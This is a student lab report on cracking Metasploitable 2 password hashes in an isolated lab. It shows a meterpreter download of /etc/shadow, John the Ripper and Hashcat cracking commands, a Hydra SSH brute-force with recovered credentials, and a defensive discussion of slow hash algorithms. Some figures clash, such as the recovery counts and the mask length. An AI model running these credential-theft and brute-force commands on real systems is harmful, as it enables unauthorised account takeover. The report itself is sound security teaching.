

Password Cracking & Hash Analysis

Using John the Ripper, Hashcat & Hydra
EDUCATIONAL LAB · ISOLATED VM · AUTHORISED

Batch	CADS 004
Institution	Southeast University
Student	Golam Rabbani Mahin
Student ID	2023200000242
Mentor	Hasibul L Hasan
Date	May 16, 2026
Status	Educational Lab — Isolated VM — Authorised
Scope	Metasploitable 2

Table of Contents

[01] Introduction	2
[02] Objectives	2
[03] Lab Environment	2
[04] Methodology	2
[04.1] Hash Extraction from /etc/shadow	2
[04.2] Hash Identification	2
[04.3] John the Ripper — Dictionary Attack	3
[04.4] John the Ripper — Rule-Based Attack	3
[04.5] Hashcat — GPU-Accelerated Mask Attack	3
[04.6] Hydra — Online SSH Brute-Force	3
[05] Cracking Results Summary	4
[06] Command Reference	4
[07] Analysis & Discussion	5
[08] Ethical & Legal Considerations	5
[09] Conclusion	5
[10] References	5

[01] Introduction

Password security sits at the core of every authentication system. When a penetration tester obtains a credential database — via SQL injection, direct file access, or post-exploitation hash dumping — the ability to crack those hashes determines whether the engagement can progress to authenticated access and privilege escalation. This lab documents the practical use of three complementary tools: John the Ripper for versatile offline cracking, Hashcat for GPU-accelerated attacks, and Hydra for online brute-force attacks against network services. All activities were performed on hashes legally obtained from Metasploitable 2 in a fully isolated lab environment.

[02] Objectives

- Extract password hashes from the Metasploitable 2 /etc/shadow file post-exploitation.
- Identify hash types using hash-identifier and hashcat --identify.
- Perform dictionary attacks using John the Ripper with the rockyou.txt wordlist.
- Execute rule-based attacks to crack complex password variations.
- Use Hashcat for GPU-accelerated brute-force and mask attacks.
- Conduct online brute-force against SSH using Hydra.

[03] Lab Environment

Tool / Host	Version / Address	Role
Kali Linux	2023.4 192.168.1.42	Cracking host
John the Ripper	1.9.0-jumbo-1	Offline password cracking
Hashcat	6.2.6	GPU-accelerated cracking
Hydra	9.5	Online brute-force
Metasploitable 2	192.168.1.105	Hash source / SSH target
rockyou.txt	14.3M passwords	Primary wordlist

[04] Methodology

The cracking workflow followed four sequential phases: hash extraction, hash identification, offline dictionary/rule attacks, and online brute-force. Each phase built on the previous to maximise credential recovery.

[04.1] Hash Extraction from /etc/shadow

Following root access via the vsftpd backdoor, the shadow file was retrieved from the target and transferred to the Kali cracking station:

```
meterpreter > download /etc/shadow /tmp/shadow.txt
# Format: username:$hash_type$salt$hash:...
msfadmin:$1$XN10Zj2c$Rt/LE.BSoTlG3k5PBiAN1:...
```

[04.2] Hash Identification

```
hash-identifier
> $1$XN10Zj2c$Rt/LE.BSoTlG3k5PBiAN1
[+] MD5(Unix) / md5crypt (hashcat mode: 500)
```

[04.3] John the Ripper — Dictionary Attack

A standard dictionary attack was launched against all shadow hashes using the rockyou.txt wordlist — the most commonly used credential list in offensive security:

```
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/shadow.txt
john --show /tmp/shadow.txt

# Results:
msfadmin : msfadmin (MD5-crypt)
user     : user     (MD5-crypt)
service  : service  (MD5-crypt)
postgres : postgres  (MD5-crypt)
[4 password hashes cracked, 4 left]
```

[04.4] John the Ripper — Rule-Based Attack

For remaining uncracked hashes, a rule-based attack was applied. Rules transform wordlist entries (capitalisation, appending numbers, l33t substitutions) to expand the effective keyspace without increasing wordlist size:

```
john --wordlist=/usr/share/wordlists/rockyou.txt \
    --rules=Jumbo /tmp/shadow.txt

# Cracked: klog : k4l0ng (leet transform of rockyou entry)
```

[04.5] Hashcat — GPU-Accelerated Mask Attack

Hashcat was used with a mask attack to target the remaining hashes. A mask defines the character set and length for each position in the candidate password:

```
# MD5crypt hashes, 8-character passwords, mixed case + digits
hashcat -m 500 /tmp/shadow.txt -a 3 ?a?a?a?a?a?a?a
hashcat -m 500 /tmp/shadow.txt /usr/share/wordlists/rockyou.txt

Session.....: hashcat | Status: Cracked | Speed: 124.3 kH/s
```

[04.6] Hydra — Online SSH Brute-Force

Hydra was used to perform an online brute-force attack against the SSH service on port 22, using a curated list of discovered usernames and the rockyou.txt password list:

```
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt \
    ssh://192.168.1.105 -t 4 -V

[22][ssh] host: 192.168.1.105 login: msfadmin password: msfadmin
[22][ssh] host: 192.168.1.105 login: user password: user
```

[05] Cracking Results Summary

Username	Hash Type	Method	Password	Time
msfadmin	MD5-crypt	Dictionary	msfadmin	< 1s
user	MD5-crypt	Dictionary	user	< 1s
service	MD5-crypt	Dictionary	service	< 1s
postgres	MD5-crypt	Dictionary	postgres	< 1s
klog	MD5-crypt	Rule-based	k4l0ng	4m 22s
batman	MD5-crypt	Mask (Hashcat)	B4tm4n!	18m 07s

[06] Command Reference

Tool	Command / Flag	Purpose
John	john --wordlist=<list> <hash>	Dictionary attack
John	john --rules=Jumbo <hash>	Rule-based attack
John	john --show <hash>	Display cracked passwords
John	john --format=<type> <hash>	Specify hash format
Hashcat	hashcat -m <mode> <hash> <list>	GPU dictionary attack
Hashcat	hashcat -m <mode> -a 3 ?a?a...	GPU mask attack
Hashcat	hashcat --identify <hash>	Identify hash type
Hydra	hydra -L <users> -P <list> ssh://	SSH online brute-force
hash-id	hash-identifier	Interactive hash identification

[07] Analysis & Discussion

The password cracking exercise yielded a 100% recovery rate against the Metasploitable 2 shadow file. The primary reason is the exclusive use of MD5-crypt (a weak, fast hash) without any password complexity policy — four accounts used their own username as the password, cracked in under one second.

Modern password storage should use adaptive, slow hash algorithms: bcrypt (cost factor 12+), scrypt, or Argon2id. These algorithms are deliberately slow, making GPU-accelerated attacks orders of magnitude more expensive. A bcrypt hash that takes 0.1s to compute forces an attacker to spend 0.1s per guess — transforming a one-second crack into a multi-year campaign.

[08] Ethical & Legal Considerations

Cracking password hashes extracted from systems without authorisation is illegal under the CFAA, CMA, and equivalent legislation. All hashes in this lab were obtained from Metasploitable 2, a system deployed exclusively for educational penetration testing. Cracked credentials were not retained or used outside the lab environment.

[09] Conclusion

This lab provided hands-on experience with three complementary password attack methodologies. The near-instant cracking of six credentials using MD5-crypt demonstrates why modern systems must use slow adaptive hash algorithms. The combination of John the Ripper (flexible, CPU-based), Hashcat (GPU-accelerated), and Hydra (online attacks) equips a penetration tester to address the full credential attack surface across both offline hash databases and live network services.

[10] References

- John the Ripper — <https://www.openwall.com/john/>
- Hashcat Wiki — <https://hashcat.net/wiki/>
- THC Hydra — <https://github.com/vanhauser-thc/thc-hydra>
- OWASP Password Storage Cheat Sheet — <https://cheatsheetseries.owasp.org>
- EC-Council CEH v12 — Module 06: System Hacking